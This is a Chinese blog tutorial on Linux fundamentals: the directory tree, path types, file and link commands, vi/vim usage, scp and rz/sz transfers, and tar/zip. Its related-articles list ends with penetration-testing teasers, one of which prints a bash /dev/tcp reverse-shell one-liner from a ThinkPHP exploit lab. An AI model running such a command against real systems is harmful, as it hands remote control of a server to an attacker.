服务器 Linux 的文件系统初探

好久没更新文章了,最近心血来潮,重新开始知识的累计,做出知识的沉淀~

万事万物皆文件

  • 文件系统:操作系统如何管理文件,内部定义了一些规则或者定义
  • 所以在 Linux 中所有的东西都是以文件的方式进行操作
  • 在 Linux 中,文件的访问不和 Windows 的一样。Windows 依靠的是通过盘符进行访问
  • Linux 维护着一个树状结构的文件模型:只有一个根节点 ,他的名字叫做 /;一个节点上可以有多个子节点

查找文件的方式相对路径:

相对路径

  1. 以当前路径为基准点,查找其他资源
  2. vi ../etc/sysconfig/network

绝对路径

  1. 以根目录为基准点,查找其他资
  2. vi /etc/sysconfig/network-scripts/ifcfg-ens33

日常使用中,只要找到路径即可,但是如果是一些配置文件,尽量写绝对路径

Linux 二级文件目录

/bin:
bin是Binary的缩写, 这个目录存放着最经常使用的命令。
/boot:
这里存放的是启动Linux时使用的一些核心文件,包括一些连接文件以及镜像文件。
/dev :
dev是Device(设备)的缩写, 该目录下存放的是Linux的外部设备,在Linux中访问设备的方式和访问文件的方式是相同
的。
/etc:
这个目录用来存放所有的系统管理所需要的配置文件和子目录。
/home:
用户的主目录,在Linux中,每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的。
/lib:
这个目录里存放着系统最基本的动态连接共享库,其作用类似于Windows里的DLL文件。几乎所有的应用程序都需要用到这
些共享库。
/lost+found:
这个目录一般情况下是空的,当系统非法关机后,这里就存放了一些文件。
/media:
linux 系统会自动识别一些设备,例如U盘、光驱等等,当识别后,linux会把识别的设备挂载到这个目录下。
/mnt:
系统提供该目录是为了让用户临时挂载别的文件系统的,我们可以将光驱挂载在/mnt/上,然后进入该目录就可以查看光
驱里的内容了。
/opt:
这是给主机额外安装软件所摆放的目录。比如你安装一个ORACLE数据库则就可以放到这个目录下。默认是空的。
/proc:
这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。
这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件,
比如可以通过下面的命令来屏蔽主机的ping命令,使别人无法ping你的机器:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
/root:
该目录为系统管理员,也称作超级权限者的用户主目录。
/sbin:
s就是Super User的意思,这里存放的是系统管理员使用的系统管理程序。
/selinux:
这个目录是Redhat/CentOS所特有的目录,Selinux是一个安全机制,类似于windows的防火墙,但是这套机制比较复
杂,这个目录就是存放selinux相关的文件的。
/srv:
该目录存放一些服务启动之后需要提取的数据。
/sys:
这是linux2.6内核的一个很大的变化。该目录下安装了2.6内核中新出现的一个文件系统 sysfs 。
sysfs文件系统集成了下面3种文件系统的信息:针对进程信息的proc文件系统、针对设备的devfs文件系统以及针对伪终
端的devpts文件系统。该文件系统是内核设备树的一个直观反映。
当一个内核对象被创建的时候,对应的文件和目录也在内核对象子系统中被创建。
/tmp:
这个目录是用来存放一些临时文件的。
/usr:
这是一个非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似于windows下的program files目录。
/usr/bin:
系统用户使用的应用程序。
/usr/sbin:
超级用户使用的比较高级的管理程序和系统守护程序。
/usr/src:
内核源代码默认的放置目录。
/var:
这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。
/run:
是一个临时文件系统,存储系统启动以来的信息。当系统重启时,这个目录下的文件应该被删掉或清除。如果你的系统上
有 /var/run 目录,应该让它指向 run。

Linux 的文件操作

Linux 命令在线查询:https://www.linuxcool.com/

cd 改变当前工作目录ls ll 查询命令,显示出指定目录下所有的文件mkdir 创建文件目录
mkdir -p a/b/c/d/e/f 会自动创建文件父目录
mkdir -p lucky/{1234}ls 一次可以创建多个子目录rmdir 删除空文件夹,可以安全的删除文件目录
rmdir: failed to remove ‘a1’: Directory not empty
rmdir: failed to remove ‘baidu’: Not a directorycp 拷贝文件或者文件目录
cp 源文件 目标目录
cp abcd /opt
cp /opt/abcd ./
cp -r lucky /opt 拷贝文件夹下所有的内容mv 移动文件或者文件夹,修改文件名称
mv a1 /opt
mv abc /opt
mv a abcdrm 删除文件,删除文件夹
rm install.log
rm -f install.log
rm -r abcd
rm -rf abcd 谨慎使用,从删库到跑路touch 如果没有就创建一个文件,如果该文件已经存在,修改文件的三个时间,将三个时间改为当前时间
stat 查看文件的状态,Inode 当前文件在文件系统的唯一标识,类似于IDln 命令用于给文件创建链接,根据 Linux 系统存储文件的特点,链接的方式分为以下 2 种
软链接:类似于 Windows 系统中给文件创建快捷方式,即产生一个特殊的文件,该文件用来指向另一个文件,此链接,方式同样适用于目录。
硬链接:我们知道,文件的基本信息都存储在 inode 中,而硬链接指的就是给一个文件的 inode 分配多个文件名,通过任何一个文件名,都可以找到此文件的 inode,从而读取该文件的数据信息。
ln [选项] 源文件 目标文件

读取文件信息

cat 将整个文档加载到内存中,并进行一次性显示;除非后面使用管道,传递数据tac 将整个文档加载到内存中,并进行一次性按行逆序显示more less 分页查看文档内容head 从文章开始读取N行;默认如果超过10行读取10行,否则读取现在行数;head -5 profiletail 从文章末尾读取N行find 查找指定的文件;find 要查找的范围 -name 名字;find /etc -name profile

VI 和 VIM 编辑器

打开文件

正常打开 vi profile
打开文件,并将光标置于第8行 vi +8 profile
打开最后一行 vi + profile;按n查找下一个,按N查找上一个
打开指定搜索单词的位置 vi +/if profile

三种模式

使用 Vim 编辑文件时,存在 3 种工作模式,分别是命令模式、编辑模式和底行模式,这 3 种工作模式可随意切换, 如下图所示。

  • 命令模式:每一个按键都有其具体的功能。
  • 编辑模式:输入什么就是什么。
  • 底行(命令行)模式:保存文件或对文件中的指定内容执行查找或替换等操作。

命令模式

使用 Vim 编辑器打开文件时,默认处于命令模式。此模式下,可使用方向键(上、下、左、右键)或 k(上)j(下) h(左)l(右)移动光标的位置,还可以对文件内容进行复制、粘贴、替换、删除等操作。

G :跳转至文件末尾。
gg :跳转至文件第一行。
数字gg :跳转到指定行,例如: 2gg ,跳转到第 2 行。
^ :跳转至行首。
$ :跳转至行末。
w :跳到下个单词处。
数字w :跳转到指定个数的单词处。
yw :复制一个单词。
3yw :复制三个单词。
yy :复制一行。
3yy :复制三行。
p :粘贴复制内容。
6p :粘贴 6 次。
dw :删除一个单词。
3dw :删除三个单词。
dd :删除一行。
3dd :删除三行。
u :回退到上一步的操作。
Ctrl + r :回退 u 执行的操作。
. :重复上一步操作。
x :剪切当前光标处字符。
3x :剪切三个字符。
r :替换,然后输入一个字符替换,例如: r1 ,光标处字符会被替换为 1 。
3r :替换三个字符。
kjhl :方向键,分别对应上下左右。
ZZ :保存并退出。
ZQ :不保存退出。
Ctrl + s :锁屏。
Ctrl + q :解锁。

编辑模式

这个没什么好说的,就和正常文本输入一样,输入什么就是什么。

底行模式

:set nu :打开行号。
:set nonu :关闭行号。
/要查找的内容 :搜索指定的字符串。
n :查找下一个。
N :查找上一个。
s/要查找的内容/替换为的内容/修饰符 :替换字符串。
/i :忽略大小写。
/g :替换当前行所有,不加 /g 只替换当前行的第一个。
3,8s/abc/lucky/g :替换指定行,不加 /g 只替换指定行的第一个。
%s/要查找的内容/替换为的内容/g :替换全文,不加 % 表示只替换光标所在行。
:w :保存。
:q :退出。
:wq :保存并退出。
:q! :强制退出,不保存。

如果上次异常退出(比如文件正在编辑忽然断电或者直接把 Shell 窗口关闭了)会保留同名隐藏文件。

每次启动会给与提示。如果确定当前文件没问题,请删除隐藏文件。

o :只读模式打开文件。
e :读写模式打开文件。
r :通过 .swp 文件恢复文件内容。
d :删除 .swp 文件。
q :退出文件。
a :终止操作(也会退出文件)。

打开文件

vi 文件名 :正常打开。
vi +8 文件名 :打开文件并跳转至第 8 行。
vi + 文件名 :打开文件并跳转至最后一行。
vi +/要查找的内容 文件名 :打开文件并搜索指定的字符串。
n :查找下一个。
N :查找上一个。

计算机间的数据传输

Window--Linux

lrzsz 需要手动安装 yum install lrzsz -y

  • rz 将文件从window上传到Linux
  • sz 文件 将文件从Linux传输到Window

xftp 较为通用的文件传输方式

Linux--Linux

  • scp 源数据地址(source) 目标数据地址(target)
  • scp apache-tomcat-7.0.61.tar.gz root@192.168.1.1:/opt
  • scp root@192.168.1.4:/opt/apache-tomcat-7.0.61.tar.gz ./
  • scp -r apache-tomcat-7.0.61 root@192.168.1.4:/opt

文件大小

分区信息 df -h
指定文件目录大小 du -h --max-depth=1 apache-tomcat-7.0.61
swap 一个特殊分区,以硬盘代替内存;当内存使用满的时候,可以将一部分数据写出到swap分区

文件压缩

tar

  • 主要针对的文件是 xxx.tar.gz
  • 解压缩 tar -zx(解压)v(过程)f(文件) xxx.tar.gz
  • 压缩 tar -zc(压缩)f(文件) tomcat.tar.gz(压缩后的名字) apache-tomcat-7.0.61(源文件);

zip和unzip

  • 安装 yum install zip unzip -y
  • 压缩 zip -r tomcat.zip apache-tomcat-7.0.61
  • 解压缩 unzip tomcat.zip

无论生活以怎样的方式向你走来,你都必须接受它,尽可能地享受它。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/390220.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JVM: 方法调用

文章目录 一、介绍二、方法调用的原理1、静态绑定2、动态绑定(1)介绍(2)原理 一、介绍 在JVM中,一共有五个字节码指令可以执行方法调用: invokestatic: 调用静态方法。invokespecial:调用对象…

Antd - Table 父子表格Checkbox联动

Antd - Table 父子表格Checkbox联动 前言一. 勾选父子组件联动二. 效果 前言 由于Antd中的父子组件之间,如果有多选功能,那么不会有联动的关系,需要自己实现。 一. 勾选父子组件联动 代码如下: import React, { useState } fr…

【靶场实操】sql-labs通关详解----第二节:前端页面相关(Less-11-Less-17)

SQL注入攻击是一种针对Web应用程序的安全漏洞,那么自然,SQL注入攻击也和前端页面息息相关,用户输入未被正确处理、动态查询的构建、前端JavaScript代码错误,等等我问题都可能造成安全威胁。 在上一节,我们了解了基础的…

springboot书店销售管理系统-计算机毕业设计源码09304

摘要 随着互联网的普及和发展,线上书店越来越受到人们的欢迎。为了更好地管理书店的销售活动,提高用户体验,开发一个基于Springboot的书店销售管理系统是至关重要的。这种系统可以帮助书店管理员更高效地管理书籍、订单和用户信息&#xff0c…

维修雅萌五代射频仪

维修雅萌五代射频仪,主板进水,看起来有点严重,看看这回能不能把它修好

力扣SQL50 2016年的投资 窗口函数

Problem: 585. 2016年的投资 👨‍🏫 参考题解 Code SELECT ROUND(SUM(tiv_2016), 2) AS tiv_2016 -- 对符合条件的记录计算 tiv_2016 的总和,并保留两位小数 FROM (SELECTtiv_2016, -- 选取 tiv_2016 …

参数包 emplace_back lambda

参数包 下面的参数args前面有省略号,所以它就是一个可变模版参数,我们把带省略号的参数称为“参数包”,它里面包含了0到N(N>0)个模版参数。 // Args是一个模板参数包,args是一个函数形参参数包 // 声明一…

【动态规划-最大子段和】力扣1191. K 次串联后最大子数组之和

给定一个整数数组 arr 和一个整数 k ,通过重复 k 次来修改数组。 例如,如果 arr [1, 2] , k 3 ,那么修改后的数组将是 [1, 2, 1, 2, 1, 2] 。 返回修改后的数组中的最大的子数组之和。注意,子数组长度可以是 0&…

【论文阅读visual grounding】QRNet论文解读与关键代码实现

Shifting More Attention to Visual Backbone: Query-modulated Refinement Networks for End-to-End Visual Grounding 论文链接:https://arxiv.org/abs/2203.15442 代码链接:https://github.com/z-w-wang/QRNet Motivation 视觉定位(visua…

2023-2024年 Java开发岗面试题经验分享

在各行各业中,面试前我们总会思索一个问题:究竟什么样的求职者能获得面试官的青睐?作为求职者,我们又该如何准备,以应对各种面试官的挑战?在这激烈的竞争里,如何才能让自己从众多应聘者中脱颖而…

ai web 1.0靶机漏洞渗透详解

一、导入靶机 解压下载好的靶机,然后打开VMware,点击文件》打开》找到刚刚解压的靶机点击下面的文件》打开 确认是靶机的网络连接模式是NAT模式 二、信息收集 1、主机发现 在本机的命令窗口输入ipconfig查看VMnet8这块网卡,这块网卡就是虚…

历届奥运会奖牌数据(1896年-2024年7月)

奥运会,全称奥林匹克运动会(Olympic Games),是国际奥林匹克委员会主办的世界规模最大的综合性体育赛事,每四年一届,会期不超过16天。这项历史悠久的赛事起源于古希腊,现代奥运会则始于1896年的希…

抖音豆包大模型AI写作教程

简数采集器支持调用字节跳动抖音的豆包AI大模型API接口,用于对采集的数据进行研究分析,内容写作等。 抖音豆包大模型AI写作使用教程: 目录 1.启用豆包AI大模型API功能 2.设置豆包API处理规则 3.应用API规则处理数据 4.获取AI处理结果 1…

ATTCK实战系列-红队评估 (一)Vulnstack三层网络域渗透

目录 一、搭建环境 1.靶场下载地址: 2、网络拓扑 3、环境配置 Win7(外网服务器 ) Win2008(域控) Win2003(域成员) 4、启动环境 二、信息收集 1、端口扫描 2、目录扫描 三、漏洞利用…

目标检测,目标跟踪,目标追踪

个人专做目标检测,目标跟踪,目标追踪,deepsort。YOLOv5 yolov8 yolov7 yolov3运行指导、环境配置、数据集配置等(也可解决代码bug),cpu,gpu,可直接运行,本地安装或者远程…

springboot基于微信老人健康与饮食管理系统-计算机毕业设计源码82939

基于微信老人健康与饮食管理系统的小程序 摘 要 基于Spring Boot的微信老人健康与饮食管理系统的小程序致力于为老年人提供便捷的健康管理和饮食指导服务。该小程序整合了健康资讯浏览、食谱推荐、健康评估等功能模块,通过系统的设计与实现,旨在帮助老年…

uniapp全局分享功能实现方法(依赖小程序右上角的分享按钮)

1、uniapp开发小程序时默认是关闭分享功能的。点击右上角三个点可查看,效果图如下: 2、在utils文件夹下新建share.js文件,名字任起。(使用的是全局分享,因为一个一个页面的去分享太麻烦且没必要。) export…

### 微软的传奇与未来:从车库到云端的飞跃

今天我要和大家聊聊科技界的超级明星——微软。这家公司几乎每个人都听过,从90年Windows全家桶,到现在的云端革命,微软的故事简直有点儿像科技界的“美国梦”。 #### **车库里的梦想** 一切都得从1975年说起。当时,比尔盖茨和保…

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …

AS400==tutorial for Beginners

系统AS400 语言RPGLE 参考视频: https://www.youtube.com/watch?vFqgwYsp7mjk&listPL3W4xRdnQJHVWWmYX1Klji7QUk_PQhq0t&index5 Lesson 1 | Introduction to As-400 and setting up As-400 Environment. 客户端软件TN5250 Terminal Emulation for Window…